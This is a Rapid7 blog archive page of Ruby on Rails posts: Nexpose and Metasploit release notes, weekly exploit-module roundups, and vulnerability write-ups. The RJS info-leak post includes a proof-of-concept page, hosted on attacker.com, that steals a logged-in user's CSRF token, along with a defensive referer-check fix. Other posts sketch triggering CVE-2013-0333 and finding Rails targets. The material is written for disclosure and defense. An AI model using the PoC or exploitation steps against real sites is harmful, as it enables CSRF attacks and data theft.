Rapid7 Blog

Ruby on Rails  

Nexpose Gem 1.0 Released

As of April 8th, 2015, version 1.0 of the Nexpose gem (nexpose-client) is available.Big Numbers Mean Big ChangesNexpose 5.13 brings new API 2.1 features and following on that the 1.0 version of the Nexpose gem uses these new features. Because…

As of April 8th, 2015, version 1.0 of the Nexpose gem (nexpose-client) is available.Big Numbers Mean Big ChangesNexpose 5.13 brings new API 2.1 features and following on that the 1.0 version of the Nexpose gem uses these new features. Because of this, the new version of the gem includes some changes that are not backwards compatible with older versions of the gem or Nexpose. A migration guide is available to help you get your scripts and applications that rely on the gem to be compatible with 1.0. Note that upgrading to version 1.0 is not yet required. The 0.9.x versions will continue to work, but the new API features will not be available.What is required for version 1.0?With Ruby 1.9 in end-of-life status, we're no longer going to ensure that the gem is compatible. We've settled on Ruby 2.1 as the new minimum version we'll support as it brings some important new features over Ruby 2.0. In order to use version 1.0 of the Nexpose gem, you must be running Ruby 2.1 or later. We recommend version 2.1.5 or 2.2.1 as of this writing.Nexpose 5.13 is also required to use most of the site related features of the gem.What changed?The 1.0 version of the gem includes significant changes to the way you use Sites, Schedules, and Credentials. Many of these changes required breaking backwards compatibility, so this is where the migration guide will come in handy. For a full list of changes, see the release notes on Github.Old VersionsFor those of you who are not ready to migrate your scripts or applications to be 1.0 compatible, you can still use the older versions of the gem for now. Be sure to pin the version in your Gemfile if you expect to be running bundle to install or update gems. Note that we will not provide ongoing support or updates for older versions of the Nexpose gem.Bugs and Feature RequestsIf you run into any bugs when using nexpose-client 1.0 with Nexpose 5.13, please submit an issue on Github. Feature requests for the gem should also be submitted as a Github issue. Pull requests are also apppreciated!Documentation UpdatesDocumentation for the gem is an ongoing effort. Check the Github wiki for new and updated pages - note that the wiki can be updated by anyone. You can also find the gem's API documentation on RubyDoc.

Metasploit Framework Rails 4.0 Upgrade

It is always a running battle to keep an application's backend up to date with various technologies. Today, we are excited to announce that Metasploit Framework now ships with Rails 4.0. Upgrades like this are sometimes hard to get excited about because if everything…

It is always a running battle to keep an application's backend up to date with various technologies. Today, we are excited to announce that Metasploit Framework now ships with Rails 4.0. Upgrades like this are sometimes hard to get excited about because if everything goes well, users should see no difference. There are many reasons to upgrade to Rails 4, though. Why Upgrade Here are the important reasons to upgrade from our perspective: Security is a big part of why we have to keep our code up to date. We want to make sure that any third party technology we use is up to date in order to receive security updates and patches. This is especially important for us, given what our product does. Rails 4 comes with many new features that make our lives easier from a development perspective. We want to make sure that we can utilize the latest and greatest things in order to become more efficient in our everyday programming efforts. We want to make sure we can provide the best integration experience possible. Staying with industry standards helps us provide the best experience possible to our community and our customers. What Should I Expect Your everyday experience with Metasploit Framework will be no different. This upgrade does not introduce any changes to the way Metasploit Framework works. Thus, you should not see any usability changes. Additionally, we are always committed to delivering high quality code all the time. We have performed extensive testing to make sure we are not introducing any issues to Metasploit Framework. At this point we are very confident that our users' experience will not degrade at all. However, as any developer knows, when you are dealing with a complex application such as Metasploit Framework, there is a likelihood of things slipping through the cracks. Thus, we kindly ask our users that if you see unusual behaviour as you continue to use Metasploit Framework, especially shortly after Rails 4.0 rollout, please keep in mind that the behaviour might be surfacing due to Rails 4 upgrade and please approach troubleshooting the issue with that in mind. Additionally, we kindly ask you to open an issue on Metasploit Framework Project - Github to let us know about your experience and steps you have taken to verify the issue. I want to thank you for the folks here in Austin, TX for their hard work that they did past couple of months in order to make this upgrade possible. As always, I want to thank our community for supporting us to improve Metasploit Framework years to come. *** Rails 4 is only included in Metasploit Framework Master Branch on Github. If you are using Metasploit Community edition you will receive Metasploit Framework Rails 4 upgrade within two weeks. We will call the changes out in our release notes. Eray Yilmaz - @erayymz Sr. Product Manager, Metasploit

Not Reinventing The Wheel: The Metasploit Rails::Application in 4.10

In Metasploit 4.10, we converted Metasploit Framework (and prosvc in Metasploit Commercial Editions) to be a full-fledged Rails::Application.  You may be wondering why Metasploit Framework and prosvc, should be Rails applications when they aren't serving up web pages.  It all has to do…

In Metasploit 4.10, we converted Metasploit Framework (and prosvc in Metasploit Commercial Editions) to be a full-fledged Rails::Application.  You may be wondering why Metasploit Framework and prosvc, should be Rails applications when they aren't serving up web pages.  It all has to do with not reinventing the wheel and very useful parts of Rails, Rails::Railtie and Rails::Engine. Rails 3.0 infrastructure Since Rails 3.0, Rails has been broken into multiple gems that didn't require each other and could be used or not used. actionmailer actionpack activerecord activeresource activesupport Rails::Railtie To tie all these gems together, and allow other gems too be used in their place, a gem, railties, sits at the bottom of rails and supplies the infrastructure to connect different Rails::Railties together.  For our purposes we care about two features of Rails::Railtie Allow rake tasks defined in other gems to be called. Allow initializers to be defined in a set order. Rails::Engine On top of Rails::Railtie is built Rails::Engine, which is where a lot of the conventions that are thought of as Rails Conventions reside: standardized paths like lib and app/models. Automatic code loading (when we follow standard naming conventions that make directories correspond to namespace and Classes be files). Rails::Application Finally, on top of Rails::Engine sits a single Rails::Application, which is in charge of running all the initializers from the Rails::Railties and Rails::Engines. Without a Rails::Application the initializers won't automatically run and functionality from Rails ecosystem gems is lost. Working around not having a Rails::Application before 4.10 In Metasploit Framework 4.9 we had to work-around not having access to (Railtie 1) by manually loading the yard rake task from metasploit_data_models.  We used the yard.rake defined in metasploit_data_models so we didn't have to duplicate code.  Eliminating duplicate code is a long term goal of my work on Metasploit Framework as a smaller code base is easier to maintain (because it's faster to test and easier to developers to understand) and we don't run the risk of fixing bugs in one copy of the code, but not the others. Additionally, we had to port (i.e copy and slightly change which mean we won't be able to just grep for duplicates) portions of activerecord's databases.rake to support all the rake db* commands used to test against the database with rspec for Metasploit Framework 4.7. We couldn't take advantage of (Railtie 2) because initializers are only run by Rails::Application#initialize! and Metasploit Framework didn't have a Metasploit::Framework::Application, which meant we couldn't take advantage of Rails community helpers like factory_girl_rails to automatically load factories in tests or rspec-rails to manage transactions for tests.  Not having transactions has led to lot of hard to track down bugs with database records from one test interfering with another test. In Metasploit Commercial Editions 4.9, we were already using a Rails::Engine in MetasploitDataModels::Engine to automatically load the Mdm models in the UI, but since Metasploit Framework 4.9 and prosvc didn't support Rails::Engines, we had to duplicate the code logic .  Duplicate code means both code paths need to be tested and since this code path was only exercised in Metasploit Framework and prosvc, any changes to loaded code needed to be tested all the way up the stack through Metasploit Framework and prosvc. All of these complexities added up to slower development on metasploit_data_models. Impetus for adopting Rails::Application As you can see, there was a lot of duplicate code cruft building up to support the non-Rails::Application environments in Metasploit Framework and prosvc, which came to a breaking point when we decided to make metasploit-credential. metasploit-credential sits on top of metasploit_data_models and defines credentials models in the Metasploit::Credential namespace.  These models aren't part of metasploit_data_modelsfor the following reason: Better understandability because developers don't have to know which parts of metasploit_data_models to ignore when dealing with credentials. Faster tests because metasploit-credential can be tested independently of metasploit_data_models. Cleaner API and versioning because metasploit-credential will only change if there's a change to credential's API and not any change in database API as would be the case with metasploit_data_models containing the credentials code. Due to ActiveRecord associations being declared on each side of the relationship, metasploit-credential would need to be able to monkey patch inverse associations onto metasploit_data_models like Mdm::Service to associate it back to Metasploit::Credential::Login.  In Ruby, monkey patching can be accomplished a number of ways Reopen the class class_eval extend a Module include a Module (1) and (2) have a downside that it's very hard to keep track of the monkey patches since Ruby doesn't keep track where a Class is defined (or redefined).  (The closest it can do is give the source location of a method.) So, (1) and (2) aren't good solutions as they drive anyone that works on the code later crazy.  (3) and (4) are good, but the problem is how to ensure the extend and include calls happen dynamically when the class to be monkey patched is loaded. It turned out we already had a specific solution in Metasploit Commercial Editions for loading modules from pro/ui/lib/mdm to add Metasploit Commercial Editions monkey patches to Mdm models, but the problem was that it depended on running Rails initializer, which wouldn't work in metasploit-framework and only worked in prosvc because it manually loaded the initializer and ran it as a script at the appropriate point in the prosvc startup.  So, we were left with either implementing both an elegant Rails solution using its initializers and a port to work for Metasploit Framework and prosvc to support metasploit-credential extensions to metasploit_data_models or making Metasploit Framework and prosvc be Rails::Applications so they could run initializers like Metasploit Commercial Editions' UI.  I chose making Rails::Applications. Converting to Rails::Applications Converting to Rails::Applications allowed to me to do one of the best things you can do in a commit: delete more code than you add. We were able to completely remove lib/tasks/database.rake and lib/tasks/rails.rake, which means we no longer have to watch out for changes to those in upstream activerecord.  We're using them from active_record/railtie now!  Other rake tasks are now defined by *-rails gems, like rake spec from rspec-rails, which also gave us transactional fixtures, which means that specs will automatically start and rollback database transactions after each example.  factory_girl_rails automatically loads the factories from metasploit-credential, and metasploit-model, metasploit_data_models.  yard.rake is automatically loaded from metapsloit_data_models just because it's under lib/tasks! Having Metasploit::Framework::Application also gave all these other side benefits: rails console can be used to access the Mdm and Metasploit::Credential models without having to boot msfconsole and then running irb.  You can access the SQL prompt for the database directly with rails db. What does all this have to do with Kali? So, when a Rails::Application boots, it needs to opt-in to requiring the railties from the core gems, including active_record/railtie.  While 4.10 was in development, the Metasploit Applications team developed with active_record/railtie always being loaded as it ensured that the database was connected and ActiveRecord::Base.logger was setup, which made triage and debugging easier; however, we knew eventually that requiring active_record/railtie would have to be optional based on whether the db Gemfile group was installed and whether the -n (disable database) flag was passed to msfconsole.  Since I was handling users that didn't install database support at all or turned it off with -n, I thought we were covered for the 4.10 release and this is the state of the boot process that shipped. It turned out that although Kali documents to start postgresql and setup a ~/.msf4/database.yml, many users hadn't found that documentation and so were starting msfconsole without a database.yml and/or without postgresql running, but without the -n flag.  Not having a database.yml led to the ENOENT error everyone was seeing since Metasploit::Framework::Application tried to read the non-existent database.yml when the database wasn't disabled.  James "egypt" Lee and I worked to fix this and egypt came up with checking if the file exists before trying to load active_record/railtie.  This fixed the issue of no database.yml, but not having a database.yml and postgresqlnot started.  Egypt and I discussed various ways around this, but it came down to adding a lot of error detection and making a direct connection using the low-level PGConn from the pg gem so we could test the database.yml could connect to the database OR never requiring active_record/railtie. We went with not requiring active_record/railtie.  Now, in 4.10.1, the database connection is just made by msfconsole how it had been in 4.9. We lost ActiveRecord::Base.logger setup in rails console and msfconsole, but those were new additions for Metasploit Framework 4.10 anyway, so it was an acceptable loss to get Kali's msfconsole to boot under excepted configuration scenarios and led to a more robust boot process.  If we want to restore the logger for the next release we can look into moving the error handling out of msfconsole into a place that the Rails boot can use it. Goodies for the future To leave on a brighter note, here some cool features of having access to Rails.application we hope to use in the future or that anyone in the community can use. Since a Rails::Application can iterate the Rails::Engines plugged into it, we made migrations automatically load from any Rails::Engine we add to the metasploit ecosystem. Meterpreter extensions are also copied from Rails::Engines .  Finally module paths from Rails::Engines are automatically added to framework.modules That's right, you make a gem with a Rails::Engine and put it in your Gemfile.local and metasploit-framework will treat it just like the normal metasploit-framework/modules.  We hope to use this ability in the future to break up the modules into target-specific gems so as the number of modules grow users can choose which loadouts they want for a given engagement.  This will make it easier to keep running metasploit-framework on small form factor devices with limited space.

12 Days of HaXmas: Exploiting (and Fixing) RJS Rails Info Leaks

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013. Several weeks ago, Egor Homakov wrote a blog post pointing out a common…

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013. Several weeks ago, Egor Homakov wrote a blog post pointing out a common info leak vulnerability in many Rails apps that utilize Remote JavaScript. The attack vector and implications can be hard to wrap your head around, so in this post I'll explain how the vulnerability occurs and how to exploit it. What is Remote Javascript? Remote JavaScript (RJS) was a pattern prescribed by Rails < 2 to implement dynamic web sites. In RJS the user-facing parts of a website (HTML and JS) act as a "dumb client" for the server: when dynamic action is needed, the client calls a JavaScript helper that sends a request to the server. The server then performs the necessary logic and generates and responds with JavaScript code, which is sent back to the client and eval()'d. The RJS approach has some advantages, as rails creator dhh points out in a recent blog post. However, suffice it to say that RJS breaks down as soon as you need complex client-side code, and a server API that responds with UI-dependent JavaScript is not very reusable. So Rails mostly has moved away from the RJS approach (JSON APIs and client-heavy stacks are the new direction), but still supports RJS out of the box. So what's the problem? Unfortunately, RJS is insecure by default. Imagine a developer on a Rails app that uses RJS is asked to make an Ajax-based login pop-up page. Following the RJS pattern, the developer would write some JavaScript that, when the "Login" link is clicked, asks the remote server what to do. The developer would add a controller action to the Rails app that responds with the JavaScript required to show the login form: class Dashboard def login_form respond_to do |format| format.js do render :partial => 'show_login_form' end end end end Following the RJS pattern, the show_login_form.js.erb partial returns some JavaScript code to update the login form container: $("#login").show().html("<%= escape_javascript(render :partial => 'login/form')") Which, when rendered, produces code such as: $("#login").show().html(" <form action='/login' method='POST'> <input type='hidden' name='auth_token' value='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'> <table> <tr> <td>Name</td> <td><input type='text'></td> </tr> <tr> <td>Password</td> <td><input type='password'></td> </tr> </table> </input>") Now imagine user Tom is logged into the Rails app (which we'll say is served from railsapp.com). An unrelated website attacker.com might serve Tom the following code: <html> <body> <script src='https://railsapp.com/dashboard/login.js'></script> </body> </html> Because <script> tags are allowed to be cross-origin (this is useful for CDNs), Tom's browser happily sends a GET request to railsapp.com, attaching his railsapp.com cookie. The RJS script is generated and returned to Tom, and his browser executes it. By stubbing out the necessary functions in the global scope, attacker.com can easily gain access to the string of HTML that is sent back: <html> <body> <script> function $() { return { show: function() { return { html: function(str) { alert(str); } }; } }; } </script> <script src='http://railsapp.com/dashboard/login.js'></script> </body> </html> And now attacker.com can easily parse out Tom's CSRF auth token and start issuing malicious CSRF requests to railsapp.com. This means that attacker.com can submit any form in railsapp.com. The same technique can be used to leak other information besides auth token, including logged-in status, account name, etc. As a pentester, how can I spot this bug while auditing a web app? It is pretty easy to find this vulnerability. Click around a while in the web app and keep Web Inspector's Network tab open. Look for .js requests sent sometime after a page load. Any response to a .js request that includes private info (auth token, user ID, existence of a login session) can be "hijacked" using an exploit similar to the above PoC. How can I fix this in my web app? The fix prescribed by Rails is to go through your code and add request.xhr? checks to every controller action that uses RJS. This is annoying, and is a big pain if you have a large existing code base that needs patching. Since Metasploit Pro was affected by the vulnerability, we needed a patch quick. So I present our solution to the vulnerability - we now check all .js requests to ensure that the REFERER header is present and correct. The only downside here is that your app will break for users behind proxies that strip referers. Additionally, this patch will not work for you if you plan on serving cross-domain JavaScript (e.g. for a hosted JavaScript SDK). If you can stomach that sacrifice, here is a Rails initializer that fixes the security hole. Drop it in ui/config/initializers of your Rails app: # This patch adds a before_filter to all controllers that prevents xdomain # .js requests from being rendered successfully. module RemoteJavascriptRefererCheck extend ActiveSupport::Concern included do require 'uri' before_filter :check_rjs_referer, :if => ->(controller) { controller.request.format.js? } end # prevent generated rjs scripts from being exfiltrated by remote sites # see http://homakov.blogspot.com/2013/11/rjs-leaking-vulnerability-in-multiple.html def check_rjs_referer referer_uri = begin URI.parse(request.env["HTTP_REFERER"]) rescue URI::InvalidURIError nil end # if request comes from a cross domain document if referer_uri.blank? or (request.host.present? and referer_uri.host != request.host) or (request.port.present? and referer_uri.port != request.port) head :unauthorized end end end # shove the check into the base controller so it gets hit on every route ApplicationController.class_eval do include RemoteJavascriptRefererCheck end And your server will now return a 500 error to any RJS request that does not contain the correct REFERER. A gist is available here, just download and place in $RAILS_ROOT/config/initializers.

Weekly Update: OpSec in Open Source Projects

The weekly Metasploit update is out, and I wanted to highlight three modules that landed in the last week, all of which target open source software. It's easy to drink the FOSS Kool-Aid, and talk about how it's more inherently secure than secret source software,…

The weekly Metasploit update is out, and I wanted to highlight three modules that landed in the last week, all of which target open source software. It's easy to drink the FOSS Kool-Aid, and talk about how it's more inherently secure than secret source software, but sadly, security is Hard Work, even in happy-hippie open source land.OpenX BackdooredFirst, a little background -- Heise Security reported that the OpenX open source ad server got itself backdoored on August 6, and this was quickly confirmed by a post on the OpenX Blog. If you happen to use this software, you'll want to update to at least version 2.8.11 pretty much right now.If you don't, well, then your friendly neighborhood penetration tester would like to have a word with you, and that word will likely take the form of James @egyp7 Lee's new Metasploit module, OpenX Backdoor PHP Code Execution, which leverages the existing backdoor functionality to execute arbitrary commands.As of today, nobody knows (or nobody's saying) how and exactly when OpenX got backdoored. Since it's an open source project, it seems unlikely that it would have been backdoored by an OpenX.com employee, but more likely by an evil contributor (or someone impersonating an evil contributor).This is why, really, I'm bringing up the OpenX compromise. Open source is great and all, but it's not magical. We spend a pretty decent amount of energy ensuring that contributions to Metasploit are not malicious, and we try to get to know pretty much everyone who's contributed more than once or twice. I know of a handful of sketchy pull requests that we've had to reject (binary-only ASM payloads leap to mind), and everyone who has commit access to the main Metasploit repository is very conscious of this trusted-outsider threat.So, if you're involved in an open source project, or use open source software, feel free to peek in on the codebase from time to time; open source is a two way street, and to invoke Eric S. Raymond, more eyeballs not only mean shallower bugs, but also tend toward higher source security.Speaking of (not) Backdooring Metasploit...This week, we have a new exploit that maintainers of Rails applications should take note of: joernchen's new exploit, Ruby on Rails Known Secret Session Cookie Remote Code Execution. Before anyone asks, yes, Metasploit Pro (and every other Rails app on Earth) is technically vulnerable. However, Metasploit (and all those other Rails apps) are only vulnerable if the attacker has insider knowledge already. It's similiar to the idea that that SSH servers are vulnerable to attack if the attacker already has an authorized private key. Allow me to elaborate.For joernchen's exploit to be successful, the attacker needs to already know the secret token that Rails uses to authenticate session cookies. Normally, of course, this token isn't exposed, since it's called "secret" for a reason. However, if an attacker does manage to learn the secret (often through sloppy source control), then he can not only impersonate other users (already bad), but bake a "poisonous cookie" full of executable Ruby code (way worse).Unfortunately, most source control systems aren't smart enough by default to avoid checking in secret tokens. As an application developer, you need to go out of your way to avoid it... so much for secure by design?For more on Rails secret tokens, Robert Heaton's blog post is about the best reference I know about right now. In the meantime, if you happen across an internal or cloud-based source control repository for a Rails application during a pen-testing engagement, this module is a super handy way to demonstrate the risk inherent in source tracking secrets like this. If you've already accidentally checked in your application's secret (and it's more likely than you might think), you will want to change it now (and fail to check it back in). Incidentally, for Metasploit Pro (and Community and Express), the secret token is randomly generated per local installation; we don't ship with a default token or anything silly like that.And speaking of Marshalled Code Execution...The last module I wanted to highlight in particular this week is one for Square's open source Squash bug reporting software. This is another Rails application, and it turns out, the YAML data that gets handled by the Squash server could get run (as executable code) without a valid API token.This is another case of failing to have safe, sane, and secure defaults. I think Reddit user catcradle5 put it best with with his comment, "It's so silly that there is a (default) YAML.load and then a YAML.safe_load." I couldn't agree more; seems to me it'd be better to have the load() method and the seriously_dangerous_load() method so developers are absolutely clear on the choices they're making.But hey, at least their secret token isn't shipped with source, but is instead generated as part of setup, so good on them for that.New ModulesWe've got ten new modules with this week's update, nearly all of them exploits. Aside from the modules mentioned above, contributor Michael Messner continues his frontal assault on consumer-grade access points with a pair of new D-Link modules, juan and sinn3r spent some time beating up on HP enterprise apps, Brendan Coles converted Serge Gorbunov's Open-FTPD vuln to Metasploit, we're now shipping last week's Firefox exploit with some updated targeting, and Borja Merino delivered a nifty local DNS cache dump post module. That last one is good for a quick assessment of what all's going on on the inside of a compromised network, handy for figuring out where the nearest domain controller is without making a whole lot of post-exploitation noise.Thanks all!D-Link Devices Unauthenticated Remote Command Execution by juan vazquez and Michael Messner exploits OSVDB-89861D-Link Devices Authenticated Remote Command Execution by juan vazquez and Michael Messner exploits OSVDB-92698HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow by juan vazquez and e6af8de8b1d4b2b6d5ba2610cbf9cd38 exploits ZDI-13-179HP System Management Homepage JustGetSNMPQueue Command Injection by sinn3r and Markus Wulftange exploits CVE-2013-3576OpenX Backdoor PHP Code Execution by egyp7 and Unknown exploits CVE-2013-4211Ruby on Rails Known Secret Session Cookie Remote Code Execution by joernchen of PhenoelitSquash YAML Code Execution by Charlie Eriksen exploits CVE-2013-5036Firefox onreadystatechange Event DocumentViewerImpl Use After Free by sinn3r, juan vazquez, Nils, Unknown, and w3bd3vil exploits CVE-2013-1690Open-FTPD 1.2 Arbitrary File Upload by Brendan Coles and Serge Gorbunov exploits CVE-2010-2620Windows Gather DNS Cache by Borja MerinoAvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Weekly Update: Introducing Metasploit 4.5.3

Version bump to Metasploit 4.5.3This week, we've incremented the Metasploit version number by one trivial point to 4.5.3 -- this was mainly done to ensure that new users get the fixes for the four most recent vulnerabilities that were fixed by…

Version bump to Metasploit 4.5.3This week, we've incremented the Metasploit version number by one trivial point to 4.5.3 -- this was mainly done to ensure that new users get the fixes for the four most recent vulnerabilities that were fixed by Rails 3.2.13. While we're not aware of any exploits out there that are targeting Metasploit in particular (and these vulns do require to be targeting specific applications), you'd be advised to update at your earliest convenience.In addition, 4.5.3 is once again a code-signed executable for Windows -- Linux users can still verify their bins by checking the appropriate SHA1 and PGP signature. Since we go to all the trouble of producing these signatures, you should probably check them. Not getting backdoored is a Good Thing.Kali LinuxThis is the first update released after our integration with the new and improved Kali Linux, I'm super excited about supporting Kali for real as a Metasploit platform with all the QA love that we give Ubuntu, Red Hat, and Windows. More interestingly, from  a technical standpoint, Metasploit Framework, Community & Pro have all been built as as Debian packages, so if this whole Kali thing works out, I'm cautiously optimistic about packaging in a similar way for similar platforms -- Ubuntu, Mint, Debian, and all the rest. That will be a glorious day indeed.Hopefully, you had a chance to drop in on the March 21 webcast featuring HD Moore, Mati Aharoni, and Devon Kearns. If you didn't, no problem -- you can access the on-demand version here.YARDFinally, if you've been tracking along the commit history, you will have noticed that we've been embracing YARD as a standard for decorating classes and methods in the core Metasploit library. So, if you'd like to get some up-to-date documentation on an API call that you find a little mysterious, you can try typing yard doc in the top level of your Metasploit Framework source checkout then click around doc/index.html with your favorite browser.If you don't find the documentation that you're looking for at that point, then hey, feel free to write some! We will totally take a pull request of insightful documentation for our many APIs, and YARD doc syntax is pretty easy to get a handle on. Check the YARD Guides to get started.New ModulesHere are this week's new modules. It's an even dozen for your pen-testing pleasure.OpenPLI Webif Arbitrary Command Execution by m-1-k-3 exploits OSVDB-90230PolarPearCms PHP File Upload Vulnerability by Fady Mohamed Osman exploits CVE-2013-0803Setuid Tunnelblick Privilege Escalation by juan vazquez and Jason A. Donenfeld exploits CVE-2012-3485Viscosity setuid-set ViscosityHelper Privilege Escalation by juan vazquez and Jason A. Donenfeld exploits CVE-2012-4284Firebird Relational Database CNCT Group Number Buffer Overflow by Spencer McIntyre exploits CVE-2013-2492SCADA 3S CoDeSys Gateway Server Directory Traversal by Enrique Sanchez exploits CVE-2012-4705PsExec NTDS.dit And SYSTEM Hive Download Utility by Royce DavisDopewars Denial of Service by Doug Prostko exploits CVE-2009-3591OpenSSL TLS 1.1 and 1.2 AES-NI DoS by Wolfgang Ettlinger exploits CVE-2012-2686Discover External IP via Ifconfig.me by RageLtManSAP ICF /sap/public/info Service Sensitive Information Gathering by Agnivesh Sathasivam, ChrisJohnRiley, and nmonkeeWindows Manage Reflective DLL Injection Module by Ben CampbellAvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Weekly Update: UPnP, Another Rails Exploit, and Auditing Joomla

UPnP ScanningThe big news this week are the UPnP / SSDP vulnerability announcements that we've been coordinating between CERT/CC, open source vendors, and device manufacturers over the last couple months. We have a pretty excellent white paper on the subject, written by Metasploit founder and…

UPnP ScanningThe big news this week are the UPnP / SSDP vulnerability announcements that we've been coordinating between CERT/CC, open source vendors, and device manufacturers over the last couple months. We have a pretty excellent white paper on the subject, written by Metasploit founder and international superhacker HD Moore, so I won't attempt to rehash that here, but the TL;DR of what you can do next is to take a quick scan of your infrastructure with the retooled UPnP SSDP M-SEARCH Information Discovery module. With that, you can pick out endpoints that are specifically vulnerable to CVE-2013-0229, CVE-2013-0230, CVE-2012-5958, and CVE-2012-5959.Incidentally, even if you find that you're not vulnerable to these particular exploit vectors, it's safe to say that there is no reason why your organization should be responsive to UPnP on an Internet-facing interface. One hundred percent of the time, this is a misconfiguration. So take a look. Please. Pretty please. With a cherry on top.Also, I'm especially grateful to Jared Allar and Art Manion at CERT/CC up in Pittsburgh for coordinating with the various international CERTs and the dozens of manufacturers around the world. This kind of thing isn't easy to do on the down-low, especially given our progressive disclosure policy that we work against. Thanks guys!Another Rails Exploit: CVE-2013-0333 ExposedIn the meantime, Metasploit core engineer James @egyp7 Lee and longtime contributor Jeff @jjarmoc Jarmoc teamed up to bring forth a fresh new exploit for CVE-2013-0333. According to my clock, it took approximately two and a half hours from the announcement of the vulnerability to jjarmoc's hack job on the exploit for CVE-2013-0156 using Postmodern's technique.From there, Egypt picked up the ball and put together a proper new exploit, and incidentally refactored the ARCH_RUBY payload type in order to be a little easier to work with between the two exploits. Thanks to that work, the next exploit for a Rails vuln (heaven forbid) should be even easier to drop in.Auditing JoomlaThis week's update also has a pile of new auxiliary scanners for Joomla, thanks to mysterious newcomer Newpid0. He graciously provided a new Joomla Version Scanner, a Joomla Plugins Scanner, and a Joomla Page Scanner. Think of these as a mini-framework that can allow you to quickly audit your organization's CMS for some low-hanging fruit -- especially the Plugins scanner. While Joomla isn't as popular as Wordpress, and might not get the auditing attention that Wordpress is subject to, it's still plenty common. Thanks, masked stranger!New ModulesLinksys WRT54GL Remote Command Execution by m-1-k-3 exploits OSVDB-89421Titan FTP XCRC Directory Traversal Information Disclosure by Brandon McCann @zeknox and jduck exploits OSVDB-65533Joomla Version Scanner by newpid0Joomla Plugins Scanner by newpid0Joomla Version Scanner by newpid0Ray Sharp DVR Password Retriever by hdm and someluserMS12-020 Microsoft Remote Desktop Checker by Brandon McCann @zeknox and Royce Davis @R3dy_ exploits MS12-020Novell eDirectory 8 Buffer Overflow by juan vazquez, David Klein, and Gary Nilson exploits CVE-2012-0432Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution by Gary O'Leary-Steele, Kacper Nowak, and Nick Blundell exploits CVE-2013-0209Ruby on Rails JSON Processor YAML Deserialization Code Execution by egyp7, jjarmoc, and lian exploits CVE-2013-0333SonicWALL GMS 6 Arbitrary File Upload by juan vazquez, Julian Vilas, and Nikolas Sotiriu exploits CVE-2013-1359ZoneMinder Video Server packageControl Command Execution by Brendan ColesWindows Manage Memory Payload Injection by sinn3r and Carlos PerezAvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For reader who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

Serialization Mischief Redux: Exploit for Ruby on Rails CVE-2013-0333

This afternoon, another scary advisory was posted to the Ruby on Rails security discussion list. Fortunately, this one doesn't affect any Metasploit products. The previous advisory (that HD talked about here) dealt with Rails parameter parsing of XML from a POST request.  The short…

This afternoon, another scary advisory was posted to the Ruby on Rails security discussion list. Fortunately, this one doesn't affect any Metasploit products. The previous advisory (that HD talked about here) dealt with Rails parameter parsing of XML from a POST request.  The short version is that XML can contain YAML, and YAML lets you deserialize instances of arbitrary classes. The one from this afternoon is very similar except this time it's JSON parsing that can be coerced into into YAML instead of XML parsing.Triggering the bug is relatively simple, just send a request with "Content-Type: application/json" and a bunch of YAML in the body. The result is exactly what we had with the XML -> YAML bug, i.e. you can do one of a few super fun things:Instantiate one of several builtin types including String, Fixnum, DateTime, etcAllocate an arbitrary ruby object and call its init_with methodAllocate an arbitrary ruby object and call its instance_variable_set methodInstantiate an arbitrary ruby object and call its []= methodNone of those are direct code execution, all by itself, but Postmodern and HD covered what you can do with them in pretty thorough detail, so I won't repeat it here.  Suffice it to say that a new module just went out and now there are two reliable exploits for Rails that don't care one whit about the application that runs on it.

Exploiting Ruby on Rails with Metasploit (CVE-2013-0156)

BackgroundEarlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web…

BackgroundEarlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web sites and web-enabled products and this flaw is by far the worst security problem to surface in this framework to date. If you are interested in the details of the bug, Postmodern (developer of Ronin) wrote a great blog post covering each of the issues in depth.In this post I will walk through the process of identifying and exploiting vulnerable Ruby on Rails instances.First off, make sure you have a copy of Metasploit and that you have applied the latest update through the web interface. The Metasploit web interface is also a Ruby on Rails application and applying the latest update will ensure that your systems are not vulnerable to attack. Applying the latest update will also ensure you have access to the latest exploits and supporting modules. If you are using a Git checkout of the Metasploit Framework, pull the latest commits from master and you should be good to go. For version 4.5.0, you want to be running update Metasploit Update 2013010901Service DiscoveryNext we need to identify any web servers within the target environment. Metasploit Pro, Metasploit Express, and Metasploit Community users can use the Scan component within the web interface to automatically discover hosts and services across the network. Console users should leverage db_nmap and the auxiliary/scanner/http/http_version module to locate and fingerprint any exposed web servers. The example below shows how you can configure the Scan component to identify common web server ports. This scan focuses only on ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 in order to reduce the scan time and identify common RoR application ports.TroubleshootingIf you are having trouble identifying potential RoR applications, there are a few things to keep in mind:Rails often runs on top of the Apache, NginX, Thin, and WEBrick serversRails may be only be accessible at a certain path, such as /forum or /redmineRails may be listening on a non-standard port, such as 3000, 4567, or 8888Rails can be identified through additional headers on the HTTP response as well, for example:X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8X-Rack-Cache: missSet-Cookie: _appname_session=(base64)==--(hexadecimal)Vulnerability 